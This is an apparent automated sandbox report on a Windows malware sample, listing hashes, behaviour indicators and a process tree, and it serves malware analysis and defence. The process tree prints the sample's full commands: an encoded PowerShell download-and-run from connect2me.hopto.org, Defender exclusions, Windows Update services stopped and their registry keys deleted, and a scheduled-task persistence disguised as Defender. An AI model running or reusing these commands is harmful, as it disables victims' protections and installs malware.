Analysis
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max time kernel
66s -
max time network
63s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
30/01/2023, 19:05
Static task
static1
Behavioral task
behavioral1
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win10v2004-20221111-en
General
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Target
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
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Size
360KB
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MD5
9c0c75bb31dfa46b2c91c12693bf45dd
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SHA1
b405694fbedc3ed57f486a0bd892fb48b2917d49
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SHA256
c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
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SHA512
cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44
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SSDEEP
6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2
Malware Config
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 4288 created 1108 4288 SmartDefRun.exe 26 PID 4288 created 1108 4288 SmartDefRun.exe 26 PID 4288 created 1108 4288 SmartDefRun.exe 26 PID 4288 created 1108 4288 SmartDefRun.exe 26 PID 4064 created 588 4064 powershell.EXE 3 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 2088 powershell.exe 12 2088 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 3 IoCs
pid Process 4424 C4Loader.exe 4288 SmartDefRun.exe 4196 SysApp.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4876 set thread context of 4780 4876 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 80 PID 4288 set thread context of 4788 4288 SmartDefRun.exe 110 PID 4064 set thread context of 2148 4064 powershell.EXE 115 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1196 sc.exe 5104 sc.exe 2268 sc.exe 4240 sc.exe 2900 sc.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 1008 4876 WerFault.exe 78 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE -
Suspicious behavior: EnumeratesProcesses 31 IoCs
pid Process 2088 powershell.exe 2088 powershell.exe 4196 SysApp.exe 4196 SysApp.exe 4196 SysApp.exe 4196 SysApp.exe 4196 SysApp.exe 4196 SysApp.exe 4196 SysApp.exe 4196 SysApp.exe 4196 SysApp.exe 4196 SysApp.exe 4288 SmartDefRun.exe 4288 SmartDefRun.exe 3872 powershell.exe 3872 powershell.exe 4288 SmartDefRun.exe 4288 SmartDefRun.exe 4288 SmartDefRun.exe 4288 SmartDefRun.exe 948 powershell.exe 948 powershell.exe 4288 SmartDefRun.exe 4288 SmartDefRun.exe 4064 powershell.EXE 4996 powershell.EXE 4064 powershell.EXE 4996 powershell.EXE 4064 powershell.EXE 2148 dllhost.exe 2148 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2088 powershell.exe Token: SeDebugPrivilege 3872 powershell.exe Token: SeDebugPrivilege 948 powershell.exe Token: SeIncreaseQuotaPrivilege 948 powershell.exe Token: SeSecurityPrivilege 948 powershell.exe Token: SeTakeOwnershipPrivilege 948 powershell.exe Token: SeLoadDriverPrivilege 948 powershell.exe Token: SeSystemProfilePrivilege 948 powershell.exe Token: SeSystemtimePrivilege 948 powershell.exe Token: SeProfSingleProcessPrivilege 948 powershell.exe Token: SeIncBasePriorityPrivilege 948 powershell.exe Token: SeCreatePagefilePrivilege 948 powershell.exe Token: SeBackupPrivilege 948 powershell.exe Token: SeRestorePrivilege 948 powershell.exe Token: SeShutdownPrivilege 948 powershell.exe Token: SeDebugPrivilege 948 powershell.exe Token: SeSystemEnvironmentPrivilege 948 powershell.exe Token: SeRemoteShutdownPrivilege 948 powershell.exe Token: SeUndockPrivilege 948 powershell.exe Token: SeManageVolumePrivilege 948 powershell.exe Token: 33 948 powershell.exe Token: 34 948 powershell.exe Token: 35 948 powershell.exe Token: 36 948 powershell.exe Token: SeIncreaseQuotaPrivilege 948 powershell.exe Token: SeSecurityPrivilege 948 powershell.exe Token: SeTakeOwnershipPrivilege 948 powershell.exe Token: SeLoadDriverPrivilege 948 powershell.exe Token: SeSystemProfilePrivilege 948 powershell.exe Token: SeSystemtimePrivilege 948 powershell.exe Token: SeProfSingleProcessPrivilege 948 powershell.exe Token: SeIncBasePriorityPrivilege 948 powershell.exe Token: SeCreatePagefilePrivilege 948 powershell.exe Token: SeBackupPrivilege 948 powershell.exe Token: SeRestorePrivilege 948 powershell.exe Token: SeShutdownPrivilege 948 powershell.exe Token: SeDebugPrivilege 948 powershell.exe Token: SeSystemEnvironmentPrivilege 948 powershell.exe Token: SeRemoteShutdownPrivilege 948 powershell.exe Token: SeUndockPrivilege 948 powershell.exe Token: SeManageVolumePrivilege 948 powershell.exe Token: 33 948 powershell.exe Token: 34 948 powershell.exe Token: 35 948 powershell.exe Token: 36 948 powershell.exe Token: SeIncreaseQuotaPrivilege 948 powershell.exe Token: SeSecurityPrivilege 948 powershell.exe Token: SeTakeOwnershipPrivilege 948 powershell.exe Token: SeLoadDriverPrivilege 948 powershell.exe Token: SeSystemProfilePrivilege 948 powershell.exe Token: SeSystemtimePrivilege 948 powershell.exe Token: SeProfSingleProcessPrivilege 948 powershell.exe Token: SeIncBasePriorityPrivilege 948 powershell.exe Token: SeCreatePagefilePrivilege 948 powershell.exe Token: SeBackupPrivilege 948 powershell.exe Token: SeRestorePrivilege 948 powershell.exe Token: SeShutdownPrivilege 948 powershell.exe Token: SeDebugPrivilege 948 powershell.exe Token: SeSystemEnvironmentPrivilege 948 powershell.exe Token: SeRemoteShutdownPrivilege 948 powershell.exe Token: SeUndockPrivilege 948 powershell.exe Token: SeManageVolumePrivilege 948 powershell.exe Token: 33 948 powershell.exe Token: 34 948 powershell.exe -
Suspicious use of WriteProcessMemory 46 IoCs
description pid Process procid_target PID 4876 wrote to memory of 4780 4876 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 80 PID 4876 wrote to memory of 4780 4876 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 80 PID 4876 wrote to memory of 4780 4876 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 80 PID 4876 wrote to memory of 4780 4876 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 80 PID 4876 wrote to memory of 4780 4876 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 80 PID 4780 wrote to memory of 2088 4780 vbc.exe 83 PID 4780 wrote to memory of 2088 4780 vbc.exe 83 PID 4780 wrote to memory of 2088 4780 vbc.exe 83 PID 2088 wrote to memory of 4424 2088 powershell.exe 86 PID 2088 wrote to memory of 4424 2088 powershell.exe 86 PID 2088 wrote to memory of 4424 2088 powershell.exe 86 PID 2088 wrote to memory of 4288 2088 powershell.exe 87 PID 2088 wrote to memory of 4288 2088 powershell.exe 87 PID 2088 wrote to memory of 4196 2088 powershell.exe 88 PID 2088 wrote to memory of 4196 2088 powershell.exe 88 PID 2088 wrote to memory of 4196 2088 powershell.exe 88 PID 4248 wrote to memory of 1196 4248 cmd.exe 100 PID 4248 wrote to memory of 1196 4248 cmd.exe 100 PID 4248 wrote to memory of 5104 4248 cmd.exe 101 PID 4248 wrote to memory of 5104 4248 cmd.exe 101 PID 4248 wrote to memory of 2268 4248 cmd.exe 102 PID 4248 wrote to memory of 2268 4248 cmd.exe 102 PID 4248 wrote to memory of 4240 4248 cmd.exe 103 PID 4248 wrote to memory of 4240 4248 cmd.exe 103 PID 4248 wrote to memory of 2900 4248 cmd.exe 104 PID 4248 wrote to memory of 2900 4248 cmd.exe 104 PID 4248 wrote to memory of 1848 4248 cmd.exe 105 PID 4248 wrote to memory of 1848 4248 cmd.exe 105 PID 4248 wrote to memory of 3768 4248 cmd.exe 106 PID 4248 wrote to memory of 3768 4248 cmd.exe 106 PID 4248 wrote to memory of 4908 4248 cmd.exe 107 PID 4248 wrote to memory of 4908 4248 cmd.exe 107 PID 4248 wrote to memory of 4768 4248 cmd.exe 108 PID 4248 wrote to memory of 4768 4248 cmd.exe 108 PID 4248 wrote to memory of 3828 4248 cmd.exe 109 PID 4248 wrote to memory of 3828 4248 cmd.exe 109 PID 4288 wrote to memory of 4788 4288 SmartDefRun.exe 110 PID 4064 wrote to memory of 2148 4064 powershell.EXE 115 PID 4064 wrote to memory of 2148 4064 powershell.EXE 115 PID 4064 wrote to memory of 2148 4064 powershell.EXE 115 PID 4064 wrote to memory of 2148 4064 powershell.EXE 115 PID 4064 wrote to memory of 2148 4064 powershell.EXE 115 PID 4064 wrote to memory of 2148 4064 powershell.EXE 115 PID 4064 wrote to memory of 2148 4064 powershell.EXE 115 PID 4064 wrote to memory of 2148 4064 powershell.EXE 115 PID 4064 wrote to memory of 2148 4064 powershell.EXE 115
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:588
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3605ae73-3e7a-4e24-8531-416d823f5c95}2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2148
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1108
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C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4876 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:4424
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4288
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4196
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4876 -s 2523⤵
- Program crash
PID:1008
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3872
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4248 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1196
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:5104
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2268
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4240
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:2900
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1848
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:3768
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4908
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:4768
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3828
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:948
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:4788
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4876 -ip 48761⤵PID:2932
